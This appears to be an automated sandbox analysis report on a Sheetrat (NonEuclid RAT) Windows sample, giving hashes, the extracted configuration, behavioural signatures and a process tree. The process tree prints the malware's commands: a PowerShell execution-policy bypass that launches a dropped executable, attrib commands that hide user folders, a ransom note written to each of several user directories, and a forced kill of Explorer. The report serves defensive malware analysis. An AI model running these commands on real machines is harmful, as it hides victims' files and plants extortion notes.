Analysis

  • user interaction
    yes
  • max time kernel
    299s
  • max time network
    274s
  • platform
    windows10-ltsc_2021_x64
  • resource
    win10ltsc2021-20260513-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
  • submitted
    19/06/2026, 23:42

General

  • Target
    vzpv0yj4nm6z6ye4.exe
  • Size 198KB
  • Sample260619-3qe5padt21
  • SHA256 0db4cda2c691f22a9924aa46cebd1b0f7ce9e4721504deb347243f2340bf5796
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • sheetrat

Attributes
  • anti_virtual

    false

  • certificate

    tg32pbx36hrwx

  • exclusion_wd

    p4j)l+7lp9h#

  • hidden_file

    z1c067z@j#aws*pgvazf#14

  • key

    0edky705o05i3ejgf34dl4p5uzzn

  • path_client

    @2gg+y22^kcbg&

  • path_watch_dog

    ydjc@4u*0yj7j*

  • pump

    6r637x20olf_jpbknre6h1k%

  • rootkit

    ;<WWgvBg;

  • task_client

    g$71^9!$)fms$

  • task_watch_dog

    4it**_3@gzp47

  • use_install_admin

    ^$y*y*3i5hj*@

  • user_init

    kes6@w@yr

Signatures

  • Family: Sheetrat, NonEuclid rat

    Sheetrat aka NonEuclid RAT is a trojan written in C#.

  • Detects Sheetrat Payload 1 IoCs

    Sheetrat aka NonEuclid RAT is a trojan written in C#.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Adds Run key to start application 2 TTPs 10 IoCs
  • Drops desktop.ini file(s) 4 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Start PowerShell.

  • Hide Artifacts: Hidden Files and Directories 1 TTPs 6 IoCs
  • Costura .NET executable packer 2 IoCs

    Costura packer aka Costura Fody, is an add-in for the .NET framework that embeds all external dependency .dll files as resources inside main executable.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Kills process with taskkill 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs
  • Views/modifies file attributes 1 TTPs 12 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\vzpv0yj4nm6z6ye4.exe
    "C:\Users\Admin\AppData\Local\Temp\vzpv0yj4nm6z6ye4.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2844
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\tmpEF86.tmp.exe"' & exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:224
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\tmpEF86.tmp.exe"'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2516
        • C:\Users\Admin\AppData\Local\Temp\tmpEF86.tmp.exe
          "C:\Users\Admin\AppData\Local\Temp\tmpEF86.tmp.exe"
          4⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:500
          • C:\Windows\SYSTEM32\cmd.exe
            cmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @123123 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
            5⤵
            • Hide Artifacts: Hidden Files and Directories
            • Suspicious use of WriteProcessMemory
            PID:5928
            • C:\Windows\system32\attrib.exe
              attrib +h +s +r +i /D
              6⤵
              • Views/modifies file attributes
              PID:5764
            • C:\Windows\system32\attrib.exe
              attrib -h +s +r info-Locker.txt
              6⤵
              • Views/modifies file attributes
              PID:3360
          • C:\Windows\SYSTEM32\cmd.exe
            cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @123123 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
            5⤵
            • Hide Artifacts: Hidden Files and Directories
            • Suspicious use of WriteProcessMemory
            PID:5896
            • C:\Windows\system32\attrib.exe
              attrib +h +s +r +i /D
              6⤵
              • Drops desktop.ini file(s)
              • Views/modifies file attributes
              PID:5768
            • C:\Windows\system32\attrib.exe
              attrib -h +s +r info-Locker.txt
              6⤵
              • Views/modifies file attributes
              PID:5952
          • C:\Windows\SYSTEM32\cmd.exe
            cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @123123 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
            5⤵
            • Hide Artifacts: Hidden Files and Directories
            • Suspicious use of WriteProcessMemory
            PID:1364
            • C:\Windows\system32\attrib.exe
              attrib +h +s +r +i /D
              6⤵
              • Drops desktop.ini file(s)
              • Views/modifies file attributes
              PID:5428
            • C:\Windows\system32\attrib.exe
              attrib -h +s +r info-Locker.txt
              6⤵
              • Views/modifies file attributes
              PID:3744
          • C:\Windows\SYSTEM32\cmd.exe
            cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @123123 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
            5⤵
            • Hide Artifacts: Hidden Files and Directories
            • Suspicious use of WriteProcessMemory
            PID:3240
            • C:\Windows\system32\attrib.exe
              attrib +h +s +r +i /D
              6⤵
              • Drops desktop.ini file(s)
              • Views/modifies file attributes
              PID:5908
            • C:\Windows\system32\attrib.exe
              attrib -h +s +r info-Locker.txt
              6⤵
              • Views/modifies file attributes
              PID:392
          • C:\Windows\SYSTEM32\cmd.exe
            cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @123123 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
            5⤵
            • Hide Artifacts: Hidden Files and Directories
            • Suspicious use of WriteProcessMemory
            PID:1832
            • C:\Windows\system32\attrib.exe
              attrib +h +s +r +i /D
              6⤵
              • Drops desktop.ini file(s)
              • Views/modifies file attributes
              PID:4056
            • C:\Windows\system32\attrib.exe
              attrib -h +s +r info-Locker.txt
              6⤵
              • Views/modifies file attributes
              PID:3668
          • C:\Windows\SYSTEM32\cmd.exe
            cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @123123 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
            5⤵
            • Hide Artifacts: Hidden Files and Directories
            • Suspicious use of WriteProcessMemory
            PID:4464
            • C:\Windows\system32\attrib.exe
              attrib +h +s +r +i /D
              6⤵
              • Views/modifies file attributes
              PID:3756
            • C:\Windows\system32\attrib.exe
              attrib -h +s +r info-Locker.txt
              6⤵
              • Views/modifies file attributes
              PID:2808
          • C:\Windows\SYSTEM32\taskkill.exe
            taskkill.exe /im Explorer.exe /f
            5⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:5220
  • C:\Windows\system32\wermgr.exe
    "C:\Windows\system32\wermgr.exe" "-outproc" "0" "3364" "2328" "2248" "2332" "0" "0" "0" "0" "0" "0" "0" "0"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    PID:3532
  • C:\Windows\system32\AUDIODG.EXE
    C:\Windows\system32\AUDIODG.EXE 0x394 0x380
    1⤵
      PID:5680
    • C:\Users\Admin\AppData\Local\Temp\tmpEF86.tmp.exe
      "C:\Users\Admin\AppData\Local\Temp\tmpEF86.tmp.exe" -startup
      1⤵
      • Executes dropped EXE
      PID:1176
    • C:\Users\Admin\AppData\Local\Temp\tmpEF86.tmp.exe
      "C:\Users\Admin\AppData\Local\Temp\tmpEF86.tmp.exe"
      1⤵
      • Executes dropped EXE
      PID:2320

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          tmpEF86.tmp.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\tmpEF86.tmp.exe.log
          • Size 1KB
          • SHA256 77071d2e1fdfc305512f111f44cebf7231f696c3bed3cdf5fd369b4485330d9c
          • MD5 SHA1 SHA512 TLSH

          __PSScriptPolicyTest_fl0kpce0.b2e.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fl0kpce0.b2e.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          tmpEF86.tmp.exe

          • Path C:\Users\Admin\AppData\Local\Temp\tmpEF86.tmp.exe
          • Size 212KB
          • SHA256 20414941c886b8bfbc4cff8864351f877a6b4835b632f5636788adda59a618a2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          locker_debug.txt

          • Path C:\Users\Admin\Desktop\locker_debug.txt
          • Size 765B
          • SHA256 d65df02a302881490808ef9dc36bc5f88ba188f2a1feaadb08897bb0d94e11d3
          • MD5 SHA1 SHA512 TLSH

          info-Locker.txt

          • Path C:\Users\Public\Desktop\info-Locker.txt
          • Size 73B
          • SHA256 9ab23a296ed143466baae10d307e4c769b9dd83f5ba9acf3eb080f8a1c401c1a
          • MD5 SHA1 SHA512 TLSH

          memory/500-28-0x0000000000C30000-0x0000000000C6C000-memory.dmp

          memory/2516-23-0x00000263D01C0000-0x00000263D01E2000-memory.dmp

          memory/2844-5-0x0000027C80110000-0x0000027C80188000-memory.dmp

          memory/2844-14-0x0000027C807E0000-0x0000027C807EC000-memory.dmp

          memory/2844-8-0x0000027C802A0000-0x0000027C802EA000-memory.dmp

          memory/2844-0-0x0000027CE2B60000-0x0000027CE2B96000-memory.dmp

          memory/2844-7-0x0000027C80270000-0x0000027C8029A000-memory.dmp

          memory/2844-6-0x0000027C80220000-0x0000027C8026C000-memory.dmp

          memory/2844-13-0x0000027C808F0000-0x0000027C80E2E000-memory.dmp

          memory/2844-4-0x0000027CFDCC0000-0x0000027CFDCD0000-memory.dmp

          memory/2844-1-0x0000027CFDCC0000-0x0000027CFDCD0000-memory.dmp

          memory/2844-63-0x0000027C804C0000-0x0000027C804D0000-memory.dmp

          memory/2844-64-0x0000027C80560000-0x0000027C8057C000-memory.dmp

          memory/2844-65-0x0000027C80580000-0x0000027C80596000-memory.dmp

          memory/2844-66-0x0000027C80510000-0x0000027C8051C000-memory.dmp